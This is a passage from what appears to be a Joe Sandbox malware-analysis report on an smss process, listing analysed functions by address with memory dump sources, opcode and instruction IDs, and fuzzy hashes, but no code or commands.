                                                      • Instruction Fuzzy Hash: 65014F21B1E50DCFEE64EBA48475ABC23D2AF99710F8A01B9D40DC72B6DD68AA414744
                                                      Function 00007FFD9B860C48 Relevance: .0, Instructions: 42COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: e79e6550c0a8688a06a9a3d15006d8c1eb08544448d8e30262f47c61ce5bf19a
                                                      • Instruction ID: e1088515bf521961c3b0dfd00989af400a31a6941a9d82dfd66453d4770ad49d
                                                      • Opcode Fuzzy Hash: e79e6550c0a8688a06a9a3d15006d8c1eb08544448d8e30262f47c61ce5bf19a
                                                      • Instruction Fuzzy Hash: 89019231E1E28DCFE722DBA4C8A049C7FB1EF56714F5641F7C084DB1A6E9386A448745
                                                      Function 00007FFD9BC258D2 Relevance: .0, Instructions: 40COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 621d7454179911fdea44ebc38de7649a01e9c13e31ca64fc747217dffec85ecc
                                                      • Instruction ID: 008fddd512f3a644cea6b52a96595f25571e41da640c33ed2bf2b97dd3258f17
                                                      • Opcode Fuzzy Hash: 621d7454179911fdea44ebc38de7649a01e9c13e31ca64fc747217dffec85ecc
                                                      • Instruction Fuzzy Hash: 8EF0C23159F3C99FD722DBB088264AA3FB4AF43210B0D00F6E055CB0B2C56DA706C761
                                                      Function 00007FFD9BFC3872 Relevance: .0, Instructions: 39COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 3e9acfbdec5cd3e788b150a0764ce9d98f021a9d2e26c99bf78e8ad4b6f2fc5a
                                                      • Instruction ID: df249849bf3f2aa1bd01b9ca234e77b2408b8f2431d968363b067815c817c9ba
                                                      • Opcode Fuzzy Hash: 3e9acfbdec5cd3e788b150a0764ce9d98f021a9d2e26c99bf78e8ad4b6f2fc5a
                                                      • Instruction Fuzzy Hash: 34F0AF3244E3CA9FD3169FB088624E93FA0AF43214B1A01F6D0858A0A2C56E178EC762
                                                      Function 00007FFD9BC2C3E2 Relevance: .0, Instructions: 37COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 50023ab6a730f5708ab503797102c6b3369d4a5b4b3947195dd178d3e56a2214
                                                      • Instruction ID: fb63e62160160cbc4da542ba88f0803bbf2cca68176596d162da7a993955e44e
                                                      • Opcode Fuzzy Hash: 50023ab6a730f5708ab503797102c6b3369d4a5b4b3947195dd178d3e56a2214
                                                      • Instruction Fuzzy Hash: 51F0963144E2CA9FD712DBF088225EA3FB4AF43214B0900F6E459CB0B2D52CA716C762
                                                      Function 00007FFD9BFCC952 Relevance: .0, Instructions: 36COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f1b89358d4dd23734fe07d0dbda61ee0f9e31cca55e160dd0d4190225615ecf2
                                                      • Instruction ID: 1774ebd765a0cbaadde74ca17d527aa9498a210c7eecef442fcd958d5b154ef4
                                                      • Opcode Fuzzy Hash: f1b89358d4dd23734fe07d0dbda61ee0f9e31cca55e160dd0d4190225615ecf2
                                                      • Instruction Fuzzy Hash: EFF0623148E2C99FD3129FB088215E97FB4AF03314F0901F6D089CB4B2C62D565AC761
                                                      Function 00007FFD9B8646EE Relevance: .0, Instructions: 34COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5c7b1898314eec43ffa48eac936272e7d41ccbecfa63628a362e06ec363969aa
                                                      • Instruction ID: dcd0c3e8c4aefa0604f9af8d3a3753075c8ad070fee7832933880ee6bd719758
                                                      • Opcode Fuzzy Hash: 5c7b1898314eec43ffa48eac936272e7d41ccbecfa63628a362e06ec363969aa
                                                      • Instruction Fuzzy Hash: DCF09621F1E91FCEE6B0B784C4B93781291EB1C711F9601B6C41DD32B5ED586E418682
                                                      Function 00007FFD9BFC456A Relevance: .0, Instructions: 31COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: f4f645077a729bcc7f253e29b9741cfdf61745980ba7edb547c025d5a8d6d101
                                                      • Instruction ID: 7f65a61fc0b0defb8570af7991a61f684760a21e0a057fcd49a8ee5a881ad3c3
                                                      • Opcode Fuzzy Hash: f4f645077a729bcc7f253e29b9741cfdf61745980ba7edb547c025d5a8d6d101
                                                      • Instruction Fuzzy Hash: B2F0F621A0E3C64FDB22AFA04CA10B43FE0DF273107190AFAC084CB1E3D6592A56C751
                                                      Function 00007FFD9B864551 Relevance: .0, Instructions: 30COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2b0645669372abf00ba4d8995b45db02cb84e4008997efade20ea7d9f7696e0c
                                                      • Instruction ID: a5e826d4c5fbb1e95efb7e3761ecd286f122fc552d80c7be869f9125b77f167d
                                                      • Opcode Fuzzy Hash: 2b0645669372abf00ba4d8995b45db02cb84e4008997efade20ea7d9f7696e0c
                                                      • Instruction Fuzzy Hash: 88F05B20B1A40DCEEBB5EB44C4757BC2352AF49310F9601B9C44DD71B5CD38AF418741
                                                      Function 00007FFD9B865B89 Relevance: .0, Instructions: 29COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: d134a1dd171fa5299e63995ba41b54cb4b552753459c499074e2edaf02e11a5a
                                                      • Instruction ID: baa59cbf112d64e20f770fe48aaa21bf758222b494207645030ef16742658d76
                                                      • Opcode Fuzzy Hash: d134a1dd171fa5299e63995ba41b54cb4b552753459c499074e2edaf02e11a5a
                                                      • Instruction Fuzzy Hash: C1F0B420F1964D8FEB50EBB4C0A9BA877D1AF58300F8600B5D44ED72B6DD2899418700
                                                      Function 00007FFD9B864870 Relevance: .0, Instructions: 26COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 33126133045f49e0151ece18d591ea221f68bce6337d0a429d5ab07200bf95a8
                                                      • Instruction ID: e9a874f77db2d19e3a6eeee7279a72128d522d2b16d7ec6718b4c8444eb7fed1
                                                      • Opcode Fuzzy Hash: 33126133045f49e0151ece18d591ea221f68bce6337d0a429d5ab07200bf95a8
                                                      • Instruction Fuzzy Hash: 52E0C910F1A50ECEFAB4B7E490B92BC00C2AF5C701F9654B5D44EE32E6EC6CAA010246
                                                      Function 00007FFD9BFC04A8 Relevance: .0, Instructions: 22COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 63534ef9ecb0dc806b85a75755d1d1baacb7f4e8638dc0e5de60dbbb02ae071f
                                                      • Instruction ID: 88b490d2132929829f27e87c4b77a2bb05c046e1467f7b090b8f65dfe31453b3
                                                      • Opcode Fuzzy Hash: 63534ef9ecb0dc806b85a75755d1d1baacb7f4e8638dc0e5de60dbbb02ae071f
                                                      • Instruction Fuzzy Hash: 0BE0C232E2D91E8EDF64EFA498615FEB670FF48710F110136D01EE21A1DA2926818650
                                                      Function 00007FFD9B860B9A Relevance: .0, Instructions: 16COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 2e62be6e9babd4287e7db9fb4549c302f05332f76477976db2548a7a12853c0f
                                                      • Instruction ID: d5ab3acc7244a65de1979d4dd441421b3e632e068c5f1e9ddf287a421d690d7d
                                                      • Opcode Fuzzy Hash: 2e62be6e9babd4287e7db9fb4549c302f05332f76477976db2548a7a12853c0f
                                                      • Instruction Fuzzy Hash: 1DD0123062D94E8FDA41B779D8858147FA0FF0F212BDA00E1E00DCB1B2D6159895C705
                                                      Function 00007FFD9B8606A5 Relevance: .0, Instructions: 13COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: fa95305429f73808a7d2efe0e3bcb495b67998bf1bccedaebf4b18904da623ce
                                                      • Instruction ID: 83bd27e23efb879d1152f8faa608c28699109d567b84666dd274e4b30936f4a7
                                                      • Opcode Fuzzy Hash: fa95305429f73808a7d2efe0e3bcb495b67998bf1bccedaebf4b18904da623ce
                                                      • Instruction Fuzzy Hash: E9C08C00F3FA0F88F83633EEA8E20ACA2005BECA10FE30032C00C400E9AC8D22C5014F
                                                      Function 00007FFD9BC270BB Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                      • Instruction ID: f0211dd61dbab3e9ea7801e8b307211f7f0111b90ccf1bb25817a88bd707f15e
                                                      • Opcode Fuzzy Hash: 6f4638bde2b61fcefbbb0c6687629a8e9d07f94e331dabadf6f31afb86bdf19e
                                                      • Instruction Fuzzy Hash: 04D09228B1E60B85F13C46A142B063E11918F41302F2A447FE55F418E18919FE056205
                                                      Function 00007FFD9BFC506B Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 88aee399057a8ae294d7c21b75ba5aea158a791c35857b1981143dab32966a3c
                                                      • Instruction ID: 5dd5f0a2cf462b3f713ac73d8554451b018f20568a6cf64bda6fda44bf4f41bc
                                                      • Opcode Fuzzy Hash: 88aee399057a8ae294d7c21b75ba5aea158a791c35857b1981143dab32966a3c
                                                      • Instruction Fuzzy Hash: 44D09210B4E54F89F2B86E85403267916D05F01340E26433DC05F899E1C91BBBC56641
                                                      Function 00007FFD9BFCE11B Relevance: .0, Instructions: 11COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 230d511b7a17262fa133eb11823a306fdc941e0845b3505c0dc43ccf75fd0ba3
                                                      • Instruction ID: d09e417f0f3bf5bc79508a6b950b9959e46446b0f3ab4ebd55c86717fccc5f49
                                                      • Opcode Fuzzy Hash: 230d511b7a17262fa133eb11823a306fdc941e0845b3505c0dc43ccf75fd0ba3
                                                      • Instruction Fuzzy Hash: CDD0C934B0F54F85F5397EC2403063929915FA1341E66663EC09F418E1CD1FB7A1A202
                                                      Function 00007FFD9BC265DC Relevance: .0, Instructions: 9COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1916964446.00007FFD9BC20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BC20000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bc20000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: ae9a4a536361b5a2fe42bf7321f4aa918b01c2226b1d561560d20af387c2d1da
                                                      • Instruction ID: fce25b086dd0a53d09b400b7a727fddeff83cdcc557bea964269b66600f271cc
                                                      • Opcode Fuzzy Hash: ae9a4a536361b5a2fe42bf7321f4aa918b01c2226b1d561560d20af387c2d1da
                                                      • Instruction Fuzzy Hash: 78C04C40F0F3C75BEB3152F418B507C5B501F5B21575E0A71E186951E7E84CAA159365
                                                      Function 00007FFD9B8606C8 Relevance: .0, Instructions: 8COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction ID: 83b14191744c48f81a622786ec067abb71bcf6816e4fb810ca9f5cdf2ccc9760
                                                      • Opcode Fuzzy Hash: 4bc57b3e9a75c9c30632150aaed7d5d414b4cb7cf4c4f63cb5a294af46db24f1
                                                      • Instruction Fuzzy Hash: 9FB01200D7B80F44E46933FA08D306474405B8C104FD21070D40C40095A88D12940247
                                                      Function 00007FFD9BFCD661 Relevance: .0, Instructions: 6COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1923385986.00007FFD9BFC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BFC0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9bfc0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 7162bdc1b502d1f2a29014c371e3d82c86f2092911eeac94463e1879ba95af80
                                                      • Instruction ID: 4d02b6d8d2705dbdd5573cc0fbc7fc342e72c2a73c0c7626f48adc5a53ccdbe8
                                                      • Opcode Fuzzy Hash: 7162bdc1b502d1f2a29014c371e3d82c86f2092911eeac94463e1879ba95af80
                                                      • Instruction Fuzzy Hash: 7BB00244F0E20B96E6352CE5047507D00510B45655B564B35A55A465E3DC5A2A816165

                                                      Non-executed Functions

                                                      Function 00007FFD9B8609B0 Relevance: 5.2, Strings: 4, Instructions: 199COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 00000005.00000002.1912095120.00007FFD9B860000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B860000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_5_2_7ffd9b860000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: c9$!k9$"s9$#{9
                                                      • API String ID: 0-1692736845
                                                      • Opcode ID: ef2a8a36c4033553b8b074ce9b68f465e94ec1ba0cca846213d8aa8ba3b10ddd
                                                      • Instruction ID: 00eba411d3420eeaaa25d730be9630bf6a19d9edba180fe6f3c2fd848d00f4b0
                                                      • Opcode Fuzzy Hash: ef2a8a36c4033553b8b074ce9b68f465e94ec1ba0cca846213d8aa8ba3b10ddd
                                                      • Instruction Fuzzy Hash: 8151018BB584274DE31933FD79619FC1B45DFC4275B4846B3E15ECA0CB6CC8248686EA

                                                      Executed Functions

                                                      Function 00007FFD9B930D4C Relevance: 1.5, Strings: 1, Instructions: 258COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: 5Y_H
                                                      • API String ID: 0-3237497481
                                                      • Opcode ID: e9c866ba40a0d0c93186d11abb93be7b1f277b85d836bebb0b1d07bff7b227b9
                                                      • Instruction ID: f3313fbe9260214a5144541934c657660fb1f2da069b98aed96e5d3e9a4c73c7
                                                      • Opcode Fuzzy Hash: e9c866ba40a0d0c93186d11abb93be7b1f277b85d836bebb0b1d07bff7b227b9
                                                      • Instruction Fuzzy Hash: F791D0B1A1AA9E8FD799DB6C88757A97FE0FF5A310F0401AAD04AD72E2CF791411C700
                                                      Function 00007FFD9C095DFF Relevance: .7, Instructions: 732COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 90f83904e45203097bdaa0ad6746deda2bd661941dfa773187aed9d7fc62e877
                                                      • Instruction ID: 29238fb2af9d2560c7e17f3e7eb85ced999f9d38f39ddf2fedabd66712ee2a6b
                                                      • Opcode Fuzzy Hash: 90f83904e45203097bdaa0ad6746deda2bd661941dfa773187aed9d7fc62e877
                                                      • Instruction Fuzzy Hash: F7529270A18A1A8FDBA8DF98C4A4AB977B1FF54340F5441BDD45FD7286CB39A881CB40
                                                      Function 00007FFD9B930E43 Relevance: .2, Instructions: 172COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2015168197.00007FFD9B930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B930000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9b930000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 5d7ff252061c219aaf19987bbbebe0438308ea3e5aca6f796b0aed5f8e44da50
                                                      • Instruction ID: 1c893b52bb2f1242def3f463f6776456d8b6cee832c3c59b27216527c68b4aed
                                                      • Opcode Fuzzy Hash: 5d7ff252061c219aaf19987bbbebe0438308ea3e5aca6f796b0aed5f8e44da50
                                                      • Instruction Fuzzy Hash: 8A51D3B2B1A95E8AE358DB6C88757AE7FE0EF9A320F5002AAD05AD33D5CF751411C700
                                                      Function 00007FFD9BCF0E85 Relevance: 2.1, Strings: 1, Instructions: 870COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: d
                                                      • API String ID: 0-2564639436
                                                      • Opcode ID: b4bc6788f4044387b997d3973c23588ac38e5d2133e54ee18b39176775ebc382
                                                      • Instruction ID: fd2b795d9edacec3de548dd5f82a3bf46212b41d95f85e907a75364cafab61c2
                                                      • Opcode Fuzzy Hash: b4bc6788f4044387b997d3973c23588ac38e5d2133e54ee18b39176775ebc382
                                                      • Instruction Fuzzy Hash: F2424431B0EB4A4FD758DF6888A19B57BE0FF55310B1841BAC48AC71A7DE29F8438781
                                                      Function 00007FFD9C095B88 Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: c2473038aa70d471b681f8d74bbc0fa117b7e3748cb338fad4b7c214a522e300
                                                      • Instruction ID: abc66316bbd1cee4ee3bbd5dd6c609c30015ff00f9685b04882cb9473c656ebb
                                                      • Opcode Fuzzy Hash: c2473038aa70d471b681f8d74bbc0fa117b7e3748cb338fad4b7c214a522e300
                                                      • Instruction Fuzzy Hash: 48518870E0865A8FDB29DBA8C4656BCBBB1EF49340F1041BAD01EA72D6CB386801CB40
                                                      Function 00007FFD9BCF7BD8 Relevance: 1.4, Strings: 1, Instructions: 158COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 723e7a99ab89d76f2203af8e09e5c6ee813ef9cbfacb1c3a838f212a3286a2cd
                                                      • Instruction ID: 34f2b26bd488b67b2ba8ac31cb6075dd68c8912a1fa95cbbd740402c75504a1a
                                                      • Opcode Fuzzy Hash: 723e7a99ab89d76f2203af8e09e5c6ee813ef9cbfacb1c3a838f212a3286a2cd
                                                      • Instruction Fuzzy Hash: 08515C31F0A64E9FDB59DBA8C4605FDBBB1FF55300F1140AAC01AA72A6DA356A01CB40
                                                      Function 00007FFD9BCFE6C8 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 501cf29441d6c2a2d57c157ba0e1fab4839193aad009c908002768fd7d6b9787
                                                      • Instruction ID: 7995563249138448bc7dc3a46a8143a059d1c5b2531848e0ee06443558e77809
                                                      • Opcode Fuzzy Hash: 501cf29441d6c2a2d57c157ba0e1fab4839193aad009c908002768fd7d6b9787
                                                      • Instruction Fuzzy Hash: EB516C31F0954E8FDB59DBE8C4A06FDBBB1EF58300F1540BAD01AA72A6DA352A01CB50
                                                      Function 00007FFD9C09EC48 Relevance: 1.4, Strings: 1, Instructions: 155COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9c090000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID: 0-3916222277
                                                      • Opcode ID: 635e8e6236cc398889f28cb6bd1d38f75d9bec015b21fbe6bdb5bcac9f107527
                                                      • Instruction ID: 35b69b5a4ddb8ffd965fd3c96cffb19d490509acf9d6eb1045ebf4f63bf683b6
                                                      • Opcode Fuzzy Hash: 635e8e6236cc398889f28cb6bd1d38f75d9bec015b21fbe6bdb5bcac9f107527
                                                      • Instruction Fuzzy Hash: FB515A71E0951A8FDB69DB98C4656BDBBB1FF44380F2440BAC02EA72D6CB356902DB50
                                                      Function 00007FFD9BCF0E49 Relevance: 1.3, Strings: 1, Instructions: 30COMMON
                                                      Download Yara Rule
                                                      Strings
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID: M
                                                      • API String ID: 0-3664761504
                                                      • Opcode ID: 91261fac9501f7c850cb2d01ac11c9790237e9694d7f046fd83c5e3b276754b5
                                                      • Instruction ID: 58e1802dbfde5cf149a19629ba12701921e1c2d13c956e7124bb9b816e7823e3
                                                      • Opcode Fuzzy Hash: 91261fac9501f7c850cb2d01ac11c9790237e9694d7f046fd83c5e3b276754b5
                                                      • Instruction Fuzzy Hash: 7BF0ED2060F3C44FCB1AAA3488298647FA0EF6760074A52EFC085CF1A3EA2D8889C701
                                                      Function 00007FFD9BCF8E91 Relevance: .4, Instructions: 407COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2020944698.00007FFD9BCF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BCF0000, based on PE: false
                                                      Joe Sandbox IDA Plugin
                                                      • Snapshot File: hcaresult_14_2_7ffd9bcf0000_smss.jbxd
                                                      Similarity
                                                      • API ID:
                                                      • String ID:
                                                      • API String ID:
                                                      • Opcode ID: 90f1066b695418730f1250870c34b01c71052e73a2c27be810c661adc99d537d
                                                      • Instruction ID: b0c3a96df3ee26e4c6537529827add0fb10abd5e733a7000eaf979ac171a75c2
                                                      • Opcode Fuzzy Hash: 90f1066b695418730f1250870c34b01c71052e73a2c27be810c661adc99d537d
                                                      • Instruction Fuzzy Hash: 03D11530B0EB0A8FE778DB78D5A95797BE1FF44300B1145BEC48AC35A2DA69F9428741
                                                      Function 00007FFD9C09EEAF Relevance: .4, Instructions: 365COMMON
                                                      Download Yara Rule
                                                      Memory Dump Source
                                                      • Source File: 0000000E.00000002.2029604253.00007FFD9C090000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9C090000, based on PE: false
